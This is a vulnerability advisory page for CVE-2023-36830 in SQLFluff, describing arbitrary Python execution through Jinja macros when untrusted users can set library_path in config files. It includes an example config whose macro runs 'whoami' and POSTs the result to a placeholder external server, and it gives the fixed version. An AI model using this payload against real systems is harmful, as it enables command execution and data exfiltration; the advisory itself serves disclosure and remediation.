Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. sqlfluff
  4. ›
  5. CVE-2023-36830

CVE-2023-36830: SQLFluff users with access to config file, using `libary_path` may call arbitrary python code

July 6, 2023 (updated October 28, 2024)

In environments where untrusted users have access to the config files (e.g. .sqlfluff), there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a sandboxed environment but the following example shows how an external url might be called and used to reveal internal information to an external listener:

[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http

[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}

For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.

References

  • github.com/advisories/GHSA-jqhc-m2j3-fjrx
  • github.com/pypa/advisory-database/tree/main/vulns/sqlfluff/PYSEC-2023-111.yaml
  • github.com/sqlfluff/sqlfluff
  • github.com/sqlfluff/sqlfluff/commit/6cdc38d76bedab4801b035c04d3c2b3aea17de86
  • github.com/sqlfluff/sqlfluff/releases/tag/2.1.2
  • github.com/sqlfluff/sqlfluff/security/advisories/GHSA-jqhc-m2j3-fjrx
  • nvd.nist.gov/vuln/detail/CVE-2023-36830

Code Behaviors & Features

Detect and mitigate CVE-2023-36830 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 2.1.2

Fixed versions

  • 2.1.2

Solution

Upgrade to version 2.1.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Source file

pypi/sqlfluff/CVE-2023-36830.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:15:46 +0000.